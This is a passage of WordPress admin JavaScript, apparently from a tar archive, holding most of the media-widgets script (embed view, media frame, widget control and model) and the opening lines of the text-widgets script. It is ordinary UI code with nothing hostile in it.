wp.media.view.Embed.extend(/** @lends wp.mediaWidgets.MediaEmbedView.prototype */{ /** * Initialize. * * @since 4.9.0 * * @param {Object} options - Options. * @return {void} */ initialize: function( options ) { var view = this, embedController; // eslint-disable-line consistent-this wp.media.view.Embed.prototype.initialize.call( view, options ); if ( 'image' !== view.controller.options.mimeType ) { embedController = view.controller.states.get( 'embed' ); embedController.off( 'scan', embedController.scanImage, embedController ); } }, /** * Refresh embed view. * * Forked override of {wp.media.view.Embed#refresh()} to suppress irrelevant "link text" field. * * @return {void} */ refresh: function refresh() { /** * @class wp.mediaWidgets~Constructor */ var Constructor; if ( 'image' === this.controller.options.mimeType ) { Constructor = wp.media.view.EmbedImage; } else { // This should be eliminated once #40450 lands of when this is merged into core. Constructor = wp.media.view.EmbedLink.extend(/** @lends wp.mediaWidgets~Constructor.prototype */{ /** * Set the disabled state on the Add to Widget button. * * @param {boolean} disabled - Disabled. * @return {void} */ setAddToWidgetButtonDisabled: function setAddToWidgetButtonDisabled( disabled ) { this.views.parent.views.parent.views.get( '.media-frame-toolbar' )[0].$el.find( '.media-button-select' ).prop( 'disabled', disabled ); }, /** * Set or clear an error notice. * * @param {string} notice - Notice. * @return {void} */ setErrorNotice: function setErrorNotice( notice ) { var embedLinkView = this, noticeContainer; // eslint-disable-line consistent-this noticeContainer = embedLinkView.views.parent.$el.find( '> .notice:first-child' ); if ( ! notice ) { if ( noticeContainer.length ) { noticeContainer.slideUp( 'fast' ); } } else { if ( ! noticeContainer.length ) { noticeContainer = $( '<div class="media-widget-embed-notice notice notice-error notice-alt" role="alert"></div>' ); noticeContainer.hide(); embedLinkView.views.parent.$el.prepend( noticeContainer ); } noticeContainer.empty(); noticeContainer.append( $( '<p>', { html: notice })); noticeContainer.slideDown( 'fast' ); } }, /** * Update oEmbed. * * @since 4.9.0 * * @return {void} */ updateoEmbed: function() { var embedLinkView = this, url; // eslint-disable-line consistent-this url = embedLinkView.model.get( 'url' ); // Abort if the URL field was emptied out. if ( ! url ) { embedLinkView.setErrorNotice( '' ); embedLinkView.setAddToWidgetButtonDisabled( true ); return; } if ( ! url.match( /^(http|https):\/\/.+\// ) ) { embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' ); embedLinkView.setAddToWidgetButtonDisabled( true ); } wp.media.view.EmbedLink.prototype.updateoEmbed.call( embedLinkView ); }, /** * Fetch media. * * @return {void} */ fetch: function() { var embedLinkView = this, fetchSuccess, matches, fileExt, urlParser, url, re, youTubeEmbedMatch; // eslint-disable-line consistent-this url = embedLinkView.model.get( 'url' ); if ( embedLinkView.dfd && 'pending' === embedLinkView.dfd.state() ) { embedLinkView.dfd.abort(); } fetchSuccess = function( response ) { embedLinkView.renderoEmbed({ data: { body: response } }); embedLinkView.controller.$el.find( '#embed-url-field' ).removeClass( 'invalid' ); embedLinkView.setErrorNotice( '' ); embedLinkView.setAddToWidgetButtonDisabled( false ); }; urlParser = document.createElement( 'a' ); urlParser.href = url; matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ ); if ( matches ) { fileExt = matches[1]; if ( ! wp.media.view.settings.embedMimes[ fileExt ] ) { embedLinkView.renderFail(); } else if ( 0 !== wp.media.view.settings.embedMimes[ fileExt ].indexOf( embedLinkView.controller.options.mimeType ) ) { embedLinkView.renderFail(); } else { fetchSuccess( '<!--success-->' ); } return; } // Support YouTube embed links. re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/; youTubeEmbedMatch = re.exec( url ); if ( youTubeEmbedMatch ) { url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ]; // silently change url to proper oembed-able version. embedLinkView.model.attributes.url = url; } embedLinkView.dfd = wp.apiRequest({ url: wp.media.view.settings.oEmbedProxyUrl, data: { url: url, maxwidth: embedLinkView.model.get( 'width' ), maxheight: embedLinkView.model.get( 'height' ), discover: false }, type: 'GET', dataType: 'json', context: embedLinkView }); embedLinkView.dfd.done( function( response ) { if ( embedLinkView.controller.options.mimeType !== response.type ) { embedLinkView.renderFail(); return; } fetchSuccess( response.html ); }); embedLinkView.dfd.fail( _.bind( embedLinkView.renderFail, embedLinkView ) ); }, /** * Handle render failure. * * Overrides the {EmbedLink#renderFail()} method to prevent showing the "Link Text" field. * The element is getting display:none in the stylesheet, but the underlying method uses * uses {jQuery.fn.show()} which adds an inline style. This avoids the need for !important. * * @return {void} */ renderFail: function renderFail() { var embedLinkView = this; // eslint-disable-line consistent-this embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' ); embedLinkView.setErrorNotice( embedLinkView.controller.options.invalidEmbedTypeError || 'ERROR' ); embedLinkView.setAddToWidgetButtonDisabled( true ); } }); } this.settings( new Constructor({ controller: this.controller, model: this.model.props, priority: 40 })); } }); /** * Custom media frame for selecting uploaded media or providing media by URL. * * @class wp.mediaWidgets.MediaFrameSelect * @augments wp.media.view.MediaFrame.Post */ component.MediaFrameSelect = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets.MediaFrameSelect.prototype */{ /** * Create the default states. * * @return {void} */ createStates: function createStates() { var mime = this.options.mimeType, specificMimes = []; _.each( wp.media.view.settings.embedMimes, function( embedMime ) { if ( 0 === embedMime.indexOf( mime ) ) { specificMimes.push( embedMime ); } }); if ( specificMimes.length > 0 ) { mime = specificMimes; } this.states.add([ // Main states. new component.PersistentDisplaySettingsLibrary({ id: 'insert', title: this.options.title, selection: this.options.selection, priority: 20, toolbar: 'main-insert', filterable: 'dates', library: wp.media.query({ type: mime }), multiple: false, editable: true, selectedDisplaySettings: this.options.selectedDisplaySettings, displaySettings: _.isUndefined( this.options.showDisplaySettings ) ? true : this.options.showDisplaySettings, displayUserSettings: false // We use the display settings from the current/default widget instance props. }), new wp.media.controller.EditImage({ model: this.options.editImage }), // Embed states. new wp.media.controller.Embed({ metadata: this.options.metadata, type: 'image' === this.options.mimeType ? 'image' : 'link', invalidEmbedTypeError: this.options.invalidEmbedTypeError }) ]); }, /** * Main insert toolbar. * * Forked override of {wp.media.view.MediaFrame.Post#mainInsertToolbar()} to override text. * * @param {wp.Backbone.View} view - Toolbar view. * @this {wp.media.controller.Library} * @return {void} */ mainInsertToolbar: function mainInsertToolbar( view ) { var controller = this; // eslint-disable-line consistent-this view.set( 'insert', { style: 'primary', priority: 80, text: controller.options.text, // The whole reason for the fork. requires: { selection: true }, /** * Handle click. * * @ignore * * @fires wp.media.controller.State#insert() * @return {void} */ click: function onClick() { var state = controller.state(), selection = state.get( 'selection' ); controller.close(); state.trigger( 'insert', selection ).reset(); } }); }, /** * Main embed toolbar. * * Forked override of {wp.media.view.MediaFrame.Post#mainEmbedToolbar()} to override text. * * @param {wp.Backbone.View} toolbar - Toolbar view. * @this {wp.media.controller.Library} * @return {void} */ mainEmbedToolbar: function mainEmbedToolbar( toolbar ) { toolbar.view = new wp.media.view.Toolbar.Embed({ controller: this, text: this.options.text, event: 'insert' }); }, /** * Embed content. * * Forked override of {wp.media.view.MediaFrame.Post#embedContent()} to suppress irrelevant "link text" field. * * @return {void} */ embedContent: function embedContent() { var view = new component.MediaEmbedView({ controller: this, model: this.state() }).render(); this.content.set( view ); } }); component.MediaWidgetControl = Backbone.View.extend(/** @lends wp.mediaWidgets.MediaWidgetControl.prototype */{ /** * Translation strings. * * The mapping of translation strings is handled by media widget subclasses, * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). * * @type {Object} */ l10n: { add_to_widget: '{{add_to_widget}}', add_media: '{{add_media}}' }, /** * Widget ID base. * * This may be defined by the subclass. It may be exported from PHP to JS * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). If not, * it will attempt to be discovered by looking to see if this control * instance extends each member of component.controlConstructors, and if * it does extend one, will use the key as the id_base. * * @type {string} */ id_base: '', /** * Mime type. * * This must be defined by the subclass. It may be exported from PHP to JS * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). * * @type {string} */ mime_type: '', /** * View events. * * @type {Object} */ events: { 'click .notice-missing-attachment a': 'handleMediaLibraryLinkClick', 'click .select-media': 'selectMedia', 'click .placeholder': 'selectMedia', 'click .edit-media': 'editMedia' }, /** * Show display settings. * * @type {boolean} */ showDisplaySettings: true, /** * Media Widget Control. * * @constructs wp.mediaWidgets.MediaWidgetControl * @augments Backbone.View * @abstract * * @param {Object} options - Options. * @param {Backbone.Model} options.model - Model. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * * @return {void} */ initialize: function initialize( options ) { var control = this; Backbone.View.prototype.initialize.call( control, options ); if ( ! ( control.model instanceof component.MediaWidgetModel ) ) { throw new Error( 'Missing options.model' ); } if ( ! options.el ) { throw new Error( 'Missing options.el' ); } if ( ! options.syncContainer ) { throw new Error( 'Missing options.syncContainer' ); } control.syncContainer = options.syncContainer; control.$el.addClass( 'media-widget-control' ); // Allow methods to be passed in with control context preserved. _.bindAll( control, 'syncModelToInputs', 'render', 'updateSelectedAttachment', 'renderPreview' ); if ( ! control.id_base ) { _.find( component.controlConstructors, function( Constructor, idBase ) { if ( control instanceof Constructor ) { control.id_base = idBase; return true; } return false; }); if ( ! control.id_base ) { throw new Error( 'Missing id_base.' ); } } // Track attributes needed to renderPreview in it's own model. control.previewTemplateProps = new Backbone.Model( control.mapModelToPreviewTemplateProps() ); // Re-render the preview when the attachment changes. control.selectedAttachment = new wp.media.model.Attachment(); control.renderPreview = _.debounce( control.renderPreview ); control.listenTo( control.previewTemplateProps, 'change', control.renderPreview ); // Make sure a copy of the selected attachment is always fetched. control.model.on( 'change:attachment_id', control.updateSelectedAttachment ); control.model.on( 'change:url', control.updateSelectedAttachment ); control.updateSelectedAttachment(); /* * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state. * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>. */ control.listenTo( control.model, 'change', control.syncModelToInputs ); control.listenTo( control.model, 'change', control.syncModelToPreviewProps ); control.listenTo( control.model, 'change', control.render ); // Update the title. control.$el.on( 'input change', '.title', function updateTitle() { control.model.set({ title: $( this ).val().trim() }); }); // Update link_url attribute. control.$el.on( 'input change', '.link', function updateLinkUrl() { var linkUrl = $( this ).val().trim(), linkType = 'custom'; if ( control.selectedAttachment.get( 'linkUrl' ) === linkUrl || control.selectedAttachment.get( 'link' ) === linkUrl ) { linkType = 'post'; } else if ( control.selectedAttachment.get( 'url' ) === linkUrl ) { linkType = 'file'; } control.model.set( { link_url: linkUrl, link_type: linkType }); // Update display settings for the next time the user opens to select from the media library. control.displaySettings.set( { link: linkType, linkUrl: linkUrl }); }); /* * Copy current display settings from the widget model to serve as basis * of customized display settings for the current media frame session. * Changes to display settings will be synced into this model, and * when a new selection is made, the settings from this will be synced * into that AttachmentDisplay's model to persist the setting changes. */ control.displaySettings = new Backbone.Model( _.pick( control.mapModelToMediaFrameProps( _.extend( control.model.defaults(), control.model.toJSON() ) ), _.keys( wp.media.view.settings.defaultProps ) ) ); }, /** * Update the selected attachment if necessary. * * @return {void} */ updateSelectedAttachment: function updateSelectedAttachment() { var control = this, attachment; if ( 0 === control.model.get( 'attachment_id' ) ) { control.selectedAttachment.clear(); control.model.set( 'error', false ); } else if ( control.model.get( 'attachment_id' ) !== control.selectedAttachment.get( 'id' ) ) { attachment = new wp.media.model.Attachment({ id: control.model.get( 'attachment_id' ) }); attachment.fetch() .done( function done() { control.model.set( 'error', false ); control.selectedAttachment.set( attachment.toJSON() ); }) .fail( function fail() { control.model.set( 'error', 'missing_attachment' ); }); } }, /** * Sync the model attributes to the hidden inputs, and update previewTemplateProps. * * @return {void} */ syncModelToPreviewProps: function syncModelToPreviewProps() { var control = this; control.previewTemplateProps.set( control.mapModelToPreviewTemplateProps() ); }, /** * Sync the model attributes to the hidden inputs, and update previewTemplateProps. * * @return {void} */ syncModelToInputs: function syncModelToInputs() { var control = this; control.syncContainer.find( '.media-widget-instance-property' ).each( function() { var input = $( this ), value, propertyName; propertyName = input.data( 'property' ); value = control.model.get( propertyName ); if ( _.isUndefined( value ) ) { return; } if ( 'array' === control.model.schema[ propertyName ].type && _.isArray( value ) ) { value = value.join( ',' ); } else if ( 'boolean' === control.model.schema[ propertyName ].type ) { value = value ? '1' : ''; // Because in PHP, strval( true ) === '1' && strval( false ) === ''. } else { value = String( value ); } if ( input.val() !== value ) { input.val( value ); input.trigger( 'change' ); } }); }, /** * Get template. * * @return {Function} Template. */ template: function template() { var control = this; if ( ! $( '#tmpl-widget-media-' + control.id_base + '-control' ).length ) { throw new Error( 'Missing widget control template for ' + control.id_base ); } return wp.template( 'widget-media-' + control.id_base + '-control' ); }, /** * Render template. * * @return {void} */ render: function render() { var control = this, titleInput; if ( ! control.templateRendered ) { control.$el.html( control.template()( control.model.toJSON() ) ); control.renderPreview(); // Hereafter it will re-render when control.selectedAttachment changes. control.templateRendered = true; } titleInput = control.$el.find( '.title' ); if ( ! titleInput.is( document.activeElement ) ) { titleInput.val( control.model.get( 'title' ) ); } control.$el.toggleClass( 'selected', control.isSelected() ); }, /** * Render media preview. * * @abstract * @return {void} */ renderPreview: function renderPreview() { throw new Error( 'renderPreview must be implemented' ); }, /** * Whether a media item is selected. * * @return {boolean} Whether selected and no error. */ isSelected: function isSelected() { var control = this; if ( control.model.get( 'error' ) ) { return false; } return Boolean( control.model.get( 'attachment_id' ) || control.model.get( 'url' ) ); }, /** * Handle click on link to Media Library to open modal, such as the link that appears when in the missing attachment error notice. * * @param {jQuery.Event} event - Event. * @return {void} */ handleMediaLibraryLinkClick: function handleMediaLibraryLinkClick( event ) { var control = this; event.preventDefault(); control.selectMedia(); }, /** * Open the media select frame to chose an item. * * @return {void} */ selectMedia: function selectMedia() { var control = this, selection, mediaFrame, defaultSync, mediaFrameProps, selectionModels = []; if ( control.isSelected() && 0 !== control.model.get( 'attachment_id' ) ) { selectionModels.push( control.selectedAttachment ); } selection = new wp.media.model.Selection( selectionModels, { multiple: false } ); mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() ); if ( mediaFrameProps.size ) { control.displaySettings.set( 'size', mediaFrameProps.size ); } mediaFrame = new component.MediaFrameSelect({ title: control.l10n.add_media, frame: 'post', text: control.l10n.add_to_widget, selection: selection, mimeType: control.mime_type, selectedDisplaySettings: control.displaySettings, showDisplaySettings: control.showDisplaySettings, metadata: mediaFrameProps, state: control.isSelected() && 0 === control.model.get( 'attachment_id' ) ? 'embed' : 'insert', invalidEmbedTypeError: control.l10n.unsupported_file_type }); wp.media.frame = mediaFrame; // See wp.media(). // Handle selection of a media item. mediaFrame.on( 'insert', function onInsert() { var attachment = {}, state = mediaFrame.state(); // Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview. if ( 'embed' === state.get( 'id' ) ) { _.extend( attachment, { id: 0 }, state.props.toJSON() ); } else { _.extend( attachment, state.get( 'selection' ).first().toJSON() ); } control.selectedAttachment.set( attachment ); control.model.set( 'error', false ); // Update widget instance. control.model.set( control.getModelPropsFromMediaFrame( mediaFrame ) ); }); // Disable syncing of attachment changes back to server (except for deletions). See <https://core.trac.wordpress.org/ticket/40403>. defaultSync = wp.media.model.Attachment.prototype.sync; wp.media.model.Attachment.prototype.sync = function( method ) { if ( 'delete' === method ) { return defaultSync.apply( this, arguments ); } else { return $.Deferred().rejectWith( this ).promise(); } }; mediaFrame.on( 'close', function onClose() { wp.media.model.Attachment.prototype.sync = defaultSync; }); mediaFrame.$el.addClass( 'media-widget' ); mediaFrame.open(); // Clear the selected attachment when it is deleted in the media select frame. if ( selection ) { selection.on( 'destroy', function onDestroy( attachment ) { if ( control.model.get( 'attachment_id' ) === attachment.get( 'id' ) ) { control.model.set({ attachment_id: 0, url: '' }); } }); } /* * Make sure focus is set inside of modal so that hitting Esc will close * the modal and not inadvertently cause the widget to collapse in the customizer. */ mediaFrame.$el.find( '.media-frame-menu .media-menu-item.active' ).focus(); }, /** * Get the instance props from the media selection frame. * * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame. * @return {Object} Props. */ getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) { var control = this, state, mediaFrameProps, modelProps; state = mediaFrame.state(); if ( 'insert' === state.get( 'id' ) ) { mediaFrameProps = state.get( 'selection' ).first().toJSON(); mediaFrameProps.postUrl = mediaFrameProps.link; if ( control.showDisplaySettings ) { _.extend( mediaFrameProps, mediaFrame.content.get( '.attachments-browser' ).sidebar.get( 'display' ).model.toJSON() ); } if ( mediaFrameProps.sizes && mediaFrameProps.size && mediaFrameProps.sizes[ mediaFrameProps.size ] ) { mediaFrameProps.url = mediaFrameProps.sizes[ mediaFrameProps.size ].url; } } else if ( 'embed' === state.get( 'id' ) ) { mediaFrameProps = _.extend( state.props.toJSON(), { attachment_id: 0 }, // Because some media frames use `attachment_id` not `id`. control.model.getEmbedResetProps() ); } else { throw new Error( 'Unexpected state: ' + state.get( 'id' ) ); } if ( mediaFrameProps.id ) { mediaFrameProps.attachment_id = mediaFrameProps.id; } modelProps = control.mapMediaToModelProps( mediaFrameProps ); // Clear the extension prop so sources will be reset for video and audio media. _.each( wp.media.view.settings.embedExts, function( ext ) { if ( ext in control.model.schema && modelProps.url !== modelProps[ ext ] ) { modelProps[ ext ] = ''; } }); return modelProps; }, /** * Map media frame props to model props. * * @param {Object} mediaFrameProps - Media frame props. * @return {Object} Model props. */ mapMediaToModelProps: function mapMediaToModelProps( mediaFrameProps ) { var control = this, mediaFramePropToModelPropMap = {}, modelProps = {}, extension; _.each( control.model.schema, function( fieldSchema, modelProp ) { // Ignore widget title attribute. if ( 'title' === modelProp ) { return; } mediaFramePropToModelPropMap[ fieldSchema.media_prop || modelProp ] = modelProp; }); _.each( mediaFrameProps, function( value, mediaProp ) { var propName = mediaFramePropToModelPropMap[ mediaProp ] || mediaProp; if ( control.model.schema[ propName ] ) { modelProps[ propName ] = value; } }); if ( 'custom' === mediaFrameProps.size ) { modelProps.width = mediaFrameProps.customWidth; modelProps.height = mediaFrameProps.customHeight; } if ( 'post' === mediaFrameProps.link ) { modelProps.link_url = mediaFrameProps.postUrl || mediaFrameProps.linkUrl; } else if ( 'file' === mediaFrameProps.link ) { modelProps.link_url = mediaFrameProps.url; } // Because some media frames use `id` instead of `attachment_id`. if ( ! mediaFrameProps.attachment_id && mediaFrameProps.id ) { modelProps.attachment_id = mediaFrameProps.id; } if ( mediaFrameProps.url ) { extension = mediaFrameProps.url.replace( /#.*$/, '' ).replace( /\?.*$/, '' ).split( '.' ).pop().toLowerCase(); if ( extension in control.model.schema ) { modelProps[ extension ] = mediaFrameProps.url; } } // Always omit the titles derived from mediaFrameProps. return _.omit( modelProps, 'title' ); }, /** * Map model props to media frame props. * * @param {Object} modelProps - Model props. * @return {Object} Media frame props. */ mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) { var control = this, mediaFrameProps = {}; _.each( modelProps, function( value, modelProp ) { var fieldSchema = control.model.schema[ modelProp ] || {}; mediaFrameProps[ fieldSchema.media_prop || modelProp ] = value; }); // Some media frames use attachment_id. mediaFrameProps.attachment_id = mediaFrameProps.id; if ( 'custom' === mediaFrameProps.size ) { mediaFrameProps.customWidth = control.model.get( 'width' ); mediaFrameProps.customHeight = control.model.get( 'height' ); } return mediaFrameProps; }, /** * Map model props to previewTemplateProps. * * @return {Object} Preview Template Props. */ mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() { var control = this, previewTemplateProps = {}; _.each( control.model.schema, function( value, prop ) { if ( ! value.hasOwnProperty( 'should_preview_update' ) || value.should_preview_update ) { previewTemplateProps[ prop ] = control.model.get( prop ); } }); // Templates need to be aware of the error. previewTemplateProps.error = control.model.get( 'error' ); return previewTemplateProps; }, /** * Open the media frame to modify the selected item. * * @abstract * @return {void} */ editMedia: function editMedia() { throw new Error( 'editMedia not implemented' ); } }); /** * Media widget model. * * @class wp.mediaWidgets.MediaWidgetModel * @augments Backbone.Model */ component.MediaWidgetModel = Backbone.Model.extend(/** @lends wp.mediaWidgets.MediaWidgetModel.prototype */{ /** * Id attribute. * * @type {string} */ idAttribute: 'widget_id', /** * Instance schema. * * This adheres to JSON Schema and subclasses should have their schema * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). * * @type {Object.<string, Object>} */ schema: { title: { type: 'string', 'default': '' }, attachment_id: { type: 'integer', 'default': 0 }, url: { type: 'string', 'default': '' } }, /** * Get default attribute values. * * @return {Object} Mapping of property names to their default values. */ defaults: function() { var defaults = {}; _.each( this.schema, function( fieldSchema, field ) { defaults[ field ] = fieldSchema['default']; }); return defaults; }, /** * Set attribute value(s). * * This is a wrapped version of Backbone.Model#set() which allows us to * cast the attribute values from the hidden inputs' string values into * the appropriate data types (integers or booleans). * * @param {string|Object} key - Attribute name or attribute pairs. * @param {mixed|Object} [val] - Attribute value or options object. * @param {Object} [options] - Options when attribute name and value are passed separately. * @return {wp.mediaWidgets.MediaWidgetModel} This model. */ set: function set( key, val, options ) { var model = this, attrs, opts, castedAttrs; // eslint-disable-line consistent-this if ( null === key ) { return model; } if ( 'object' === typeof key ) { attrs = key; opts = val; } else { attrs = {}; attrs[ key ] = val; opts = options; } castedAttrs = {}; _.each( attrs, function( value, name ) { var type; if ( ! model.schema[ name ] ) { castedAttrs[ name ] = value; return; } type = model.schema[ name ].type; if ( 'array' === type ) { castedAttrs[ name ] = value; if ( ! _.isArray( castedAttrs[ name ] ) ) { castedAttrs[ name ] = castedAttrs[ name ].split( /,/ ); // Good enough for parsing an ID list. } if ( model.schema[ name ].items && 'integer' === model.schema[ name ].items.type ) { castedAttrs[ name ] = _.filter( _.map( castedAttrs[ name ], function( id ) { return parseInt( id, 10 ); }, function( id ) { return 'number' === typeof id; } ) ); } } else if ( 'integer' === type ) { castedAttrs[ name ] = parseInt( value, 10 ); } else if ( 'boolean' === type ) { castedAttrs[ name ] = ! ( ! value || '0' === value || 'false' === value ); } else { castedAttrs[ name ] = value; } }); return Backbone.Model.prototype.set.call( this, castedAttrs, opts ); }, /** * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment). * * @return {Object} Reset/override props. */ getEmbedResetProps: function getEmbedResetProps() { return { id: 0 }; } }); /** * Collection of all widget model instances. * * @memberOf wp.mediaWidgets * * @type {Backbone.Collection} */ component.modelCollection = new ( Backbone.Collection.extend( { model: component.MediaWidgetModel }) )(); /** * Mapping of widget ID to instances of MediaWidgetControl subclasses. * * @memberOf wp.mediaWidgets * * @type {Object.<string, wp.mediaWidgets.MediaWidgetControl>} */ component.widgetControls = {}; /** * Handle widget being added or initialized for the first time at the widget-added event. * * @memberOf wp.mediaWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) { var fieldContainer, syncContainer, widgetForm, idBase, ControlConstructor, ModelConstructor, modelAttributes, widgetControl, widgetModel, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen. idBase = widgetForm.find( '> .id_base' ).val(); widgetId = widgetForm.find( '> .widget-id' ).val(); // Prevent initializing already-added widgets. if ( component.widgetControls[ widgetId ] ) { return; } ControlConstructor = component.controlConstructors[ idBase ]; if ( ! ControlConstructor ) { return; } ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel; /* * Create a container element for the widget control (Backbone.View). * This is inserted into the DOM immediately before the .widget-content * element because the contents of this element are essentially "managed" * by PHP, where each widget update cause the entire element to be emptied * and replaced with the rendered output of WP_Widget::form() which is * sent back in Ajax request made to save/update the widget instance. * To prevent a "flash of replaced DOM elements and re-initialized JS * components", the JS template is rendered outside of the normal form * container. */ fieldContainer = $( '<div></div>' ); syncContainer = widgetContainer.find( '.widget-content:first' ); syncContainer.before( fieldContainer ); /* * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state. * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>. */ modelAttributes = {}; syncContainer.find( '.media-widget-instance-property' ).each( function() { var input = $( this ); modelAttributes[ input.data( 'property' ) ] = input.val(); }); modelAttributes.widget_id = widgetId; widgetModel = new ModelConstructor( modelAttributes ); widgetControl = new ControlConstructor({ el: fieldContainer, syncContainer: syncContainer, model: widgetModel }); /* * Render the widget once the widget parent's container finishes animating, * as the widget-added event fires with a slideDown of the container. * This ensures that the container's dimensions are fixed so that ME.js * can initialize with the proper dimensions. */ renderWhenAnimationDone = function() { if ( ! widgetContainer.hasClass( 'open' ) ) { setTimeout( renderWhenAnimationDone, animatedCheckDelay ); } else { widgetControl.render(); } }; renderWhenAnimationDone(); /* * Note that the model and control currently won't ever get garbage-collected * when a widget gets removed/deleted because there is no widget-removed event. */ component.modelCollection.add( [ widgetModel ] ); component.widgetControls[ widgetModel.get( 'widget_id' ) ] = widgetControl; }; /** * Setup widget in accessibility mode. * * @memberOf wp.mediaWidgets * * @return {void} */ component.setupAccessibleMode = function setupAccessibleMode() { var widgetForm, widgetId, idBase, widgetControl, ControlConstructor, ModelConstructor, modelAttributes, fieldContainer, syncContainer; widgetForm = $( '.editwidget > form' ); if ( 0 === widgetForm.length ) { return; } idBase = widgetForm.find( '.id_base' ).val(); ControlConstructor = component.controlConstructors[ idBase ]; if ( ! ControlConstructor ) { return; } widgetId = widgetForm.find( '> .widget-control-actions > .widget-id' ).val(); ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel; fieldContainer = $( '<div></div>' ); syncContainer = widgetForm.find( '> .widget-inside' ); syncContainer.before( fieldContainer ); modelAttributes = {}; syncContainer.find( '.media-widget-instance-property' ).each( function() { var input = $( this ); modelAttributes[ input.data( 'property' ) ] = input.val(); }); modelAttributes.widget_id = widgetId; widgetControl = new ControlConstructor({ el: fieldContainer, syncContainer: syncContainer, model: new ModelConstructor( modelAttributes ) }); component.modelCollection.add( [ widgetControl.model ] ); component.widgetControls[ widgetControl.model.get( 'widget_id' ) ] = widgetControl; widgetControl.render(); }; /** * Sync widget instance data sanitized from server back onto widget model. * * This gets called via the 'widget-updated' event when saving a widget from * the widgets admin screen and also via the 'widget-synced' event when making * a change to a widget in the customizer. * * @memberOf wp.mediaWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) { var widgetForm, widgetContent, widgetId, widgetControl, attributes = {}; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); widgetId = widgetForm.find( '> .widget-id' ).val(); widgetControl = component.widgetControls[ widgetId ]; if ( ! widgetControl ) { return; } // Make sure the server-sanitized values get synced back into the model. widgetContent = widgetForm.find( '> .widget-content' ); widgetContent.find( '.media-widget-instance-property' ).each( function() { var property = $( this ).data( 'property' ); attributes[ property ] = $( this ).val(); }); // Suspend syncing model back to inputs when syncing from inputs to model, preventing infinite loop. widgetControl.stopListening( widgetControl.model, 'change', widgetControl.syncModelToInputs ); widgetControl.model.set( attributes ); widgetControl.listenTo( widgetControl.model, 'change', widgetControl.syncModelToInputs ); }; /** * Initialize functionality. * * This function exists to prevent the JS file from having to boot itself. * When WordPress enqueues this script, it should have an inline script * attached which calls wp.mediaWidgets.init(). * * @memberOf wp.mediaWidgets * * @return {void} */ component.init = function init() { var $document = $( document ); $document.on( 'widget-added', component.handleWidgetAdded ); $document.on( 'widget-synced widget-updated', component.handleWidgetUpdated ); /* * Manually trigger widget-added events for media widgets on the admin * screen once they are expanded. The widget-added event is not triggered * for each pre-existing widget on the widgets admin screen like it is * on the customizer. Likewise, the customizer only triggers widget-added * when the widget is expanded to just-in-time construct the widget form * when it is actually going to be displayed. So the following implements * the same for the widgets admin screen, to invoke the widget-added * handler when a pre-existing media widget is expanded. */ $( function initializeExistingWidgetContainers() { var widgetContainers; if ( 'widgets' !== window.pagenow ) { return; } widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' ); widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() { var widgetContainer = $( this ); component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer ); }); // Accessibility mode. if ( document.readyState === 'complete' ) { // Page is fully loaded. component.setupAccessibleMode(); } else { // Page is still loading. $( window ).on( 'load', function() { component.setupAccessibleMode(); }); } }); }; return component; })( jQuery ); widgets/text-widgets.js 0000644 00000043201 15222552267 0011210 0 ustar 00 /** * @output wp-admin/js/widgets/text-widgets.js */ /* global tinymce, switchEditors */ /* eslint consistent-this: [ "error", "control" ] */ /** * @namespace wp.textWidgets */ wp.textWidgets = ( function( $ ) { 'use strict'; var component = { dismissedPointers: [], idBases: [ 'text' ] }; component.TextWidgetControl = Backbone.View.extend(/** @lends wp.textWidgets.TextWidgetControl.prototype */{ /** * View events. * * @type {Object} */ events: {}, /** * Text widget control. * * @constructs wp.textWidgets.TextWidgetControl * @augments Backbone.View * @abstract * * @param {Object} options - Options. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * * @return {void} */ initialize: function initialize( options ) { var control = this; if ( ! options.el ) { throw new Error( 'Missing options.el' ); } if ( ! options.syncContainer ) { throw new Error( 'Missing options.syncContainer' ); } Backbone.View.prototype.initialize.call( control, options ); control.syncContainer = options.syncContainer; control.$el.addClass( 'text-widget-fields' ); control.$el.html( wp.template( 'widget-text-control-fields' ) ); control.customHtmlWidgetPointer = control.$el.find( 